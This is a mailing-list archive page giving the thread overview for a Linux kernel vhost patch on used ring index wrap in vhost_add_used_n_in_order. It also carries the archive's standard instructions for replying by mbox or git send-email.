Thread overview: 4+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-10-20 23:29 [PATCH] vhost: fix used ring index wrap in vhost_add_used_n_in_order Fang Xieyan
2026-10-21  7:29 ` Eugenio Perez Martin
2026-10-21 23:30 ` sashiko-bot
2026-10-22 10:06 ` Fang Xieyan [this message]

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20261022100656.39488-1-fangxy@xiaopeng.com \
    --to=fangxy@xiaopeng.com \
    --cc=eperezma@redhat.com \
    --cc=jasowang@redhat.com \
    --cc=kvm@vger.kernel.org \
    --cc=linux-kernel@vger.kernel.org \
    --cc=liuwb@xiaopeng.com \
    --cc=mst@redhat.com \
    --cc=netdev@vger.kernel.org \
    --cc=stable@vger.kernel.org \
    --cc=virtualization@lists.linux.dev \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox